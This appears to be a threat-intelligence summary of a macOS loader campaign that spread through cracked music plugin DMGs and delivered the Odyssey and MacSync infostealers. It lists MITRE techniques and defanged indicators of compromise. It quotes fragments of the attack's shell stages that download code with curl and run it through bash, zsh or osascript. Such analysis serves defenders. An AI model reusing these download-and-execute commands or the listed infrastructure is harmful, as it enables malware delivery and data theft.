macOS Malware Analysis: Music Plugin DMG Loader

macOS Malware Analysis: Music Plugin DMG Loader

Security researchers uncovered a mass-distributed macOS loader delivered via cracked music plugin DMGs that deploys multistage payloads including Odyssey and MacSyncStealer and an additional Mach-O loader. The campaign leverages social engineering (including ClickFix-style browser prompts), obfuscated shell scripts, and PPI/affiliate tracking to retrieve and execute secondary payloads from domains such as mac[.]fleebottom-33[.]xyz and robincompany[.]xyz. #MacSyncStealer #Odyssey

Keypoints

  • Threat actors distributed unsigned DMG files masquerading as cracked music plugins to socially engineer users into executing malicious installers.
  • Over 100 malicious DMGs contained a hidden installer.plist that silently contacted a C2 domain (mac[.]fleebottom-33[.]xyz) to fetch secondary payloads and campaign metadata.
  • A Mach-O downloader (“Meta Installer”, x86_64) parses installer.plist and retrieves additional payloads, targeting Intel macOS systems (Rosetta required on Apple Silicon).
  • Infection uses a multi-stage chain: an unobfuscated Bash stage that downloads executables, a redirect/affiliate stage (robincompany[.]xyz) indicating PPI affiliation, and final-stage obfuscated MacSyncStealer infostealer executed via osascript.
  • ClickFix-style browser pop-ups trick users into copying/pasting malicious base64-encoded commands, enabling re-infection and user-driven execution to bypass Gatekeeper/XProtect protections.
  • Campaign infrastructure includes many domains (e.g., airportsock[.]xyz, ballfrank[.]today, kuturu[.]com) with several currently non-responsive or cloud-protected, indicating takedown or anti-analysis measures.

MITRE Techniques

  • [T1204.002 ] User Execution: Malicious File – Social engineering lures convince users to run unsigned DMGs disguised as cracked plugins (‘social engineering to deceive users into installing malicious DMG files disguised as cracked music plugins’).
  • [T1036 ] Masquerading – Malicious artifacts present as legitimate software and in-app resources (e.g., ‘disguised as cracked music plugins’ and a Mach-O named “Meta Installer”).
  • [T1105 ] Ingress Tool Transfer – Stages download additional payloads from remote servers using curl and direct HTTP requests (‘the script downloads the payload to the /tmp directory’ and ‘curl -L $ORIGIN_LINK –output ${downloadPath}’).
  • [T1059.004 ] Command and Scripting Interpreter: Unix Shell – Attackers use Bash and zsh scripts to construct requests, change permissions, decode payloads, and execute stages (‘#!/bin/bash…curl -L $ORIGIN_LINK –output ${downloadPath}initchmod 755 ${downloadPath}initbash ${downloadPath}init’).
  • [T1059.006 ] Command and Scripting Interpreter: AppleScript/osAScript – Final payload execution and additional actions performed via osascript to run AppleScript commands (‘… | osascript’ and ‘curl … | osascript’).
  • [T1027 ] Obfuscated Files or Information – Use of base64 encoding and obfuscated shell/zsh scripts to hide payloads and commands (‘The script decodes content via base64 -D’ and ‘base64 -D | zsh’).
  • [T1071.001 ] Application Layer Protocol: Web Protocols – C2 and payload retrieval performed over HTTP(S) to domains such as mac[.]fleebottom-33[.]xyz and ballfrank[.]today (‘http://mac[.]fleebottom-33.xyz/launch_mac.php…’).
  • [T1041 ] Exfiltration Over C2 Channel – Infostealer attempts to upload collected data (/tmp/osalogging.zip) to attacker-controlled servers via HTTP POST requests (‘attempting to upload it to the attacker’s server as a single POST request or in managed chunks’).

Indicators of Compromise

  • [File Hash ] malicious installer and payload hashes – 0f5751f207e4825950e476dba2c42548645aba9b680728b57c18ce077b2aa4cf (Downloader Mach-O), 64068d0b7fbef87a7af91834ead9bc0efa21f814b9e6a945b440db75bbcfed762 (MacSync Stealer), and many other DMG/script hashes.
  • [Script Hash ] stage script hashes – 0fe8540c8ce1de66… (Stage 1 Bash script sample), 5a7b4282695da750736ca5eb0ef38b8374339a9d4407e7ecf0ac7e4c8da20a31 (Stage 2 fetched payload), and additional stage hashes.
  • [Domain ] command-and-control and distribution domains – mac[.]fleebottom-33[.]xyz (installer.plist metadataURL/C2), com[.]airportsock[.]xyz (ORIGIN_LINK stage1), robincompany[.]xyz and ballfrank[.]today (redirectors/hosting), kuturu[.]com (alternate payload host), and numerous other domains used in the campaign.
  • [File Path / Name ] malicious installer and exfiltration artifacts – Installer/.Trashes/672/Setup.app/Contents/MacOS/Meta Installer (Mach-O downloader), Installer/.Trashes/672/Setup.app/Contents/Resources/Installer/installer.plist (hidden config), /tmp/osalogging.zip (collected data targeted for upload).
  • [URL / URI ] observed download URIs used by scripts – http://com[.]airportsock[.]xyz/972a8252-157e-42e3-baea-a42eaf04708f?tid=56936259… (stage1 ORIGIN_LINK), http://ballfrank[.]today/curl/9ce438f3b768c1fa3181175311040da0fcb6a98c59f4209f83fcc3c002c09d7e (final-stage payload), and similar redirector URLs.


Read more: https://the-sequence.com/macos-malware-loader-music-plugin-dmg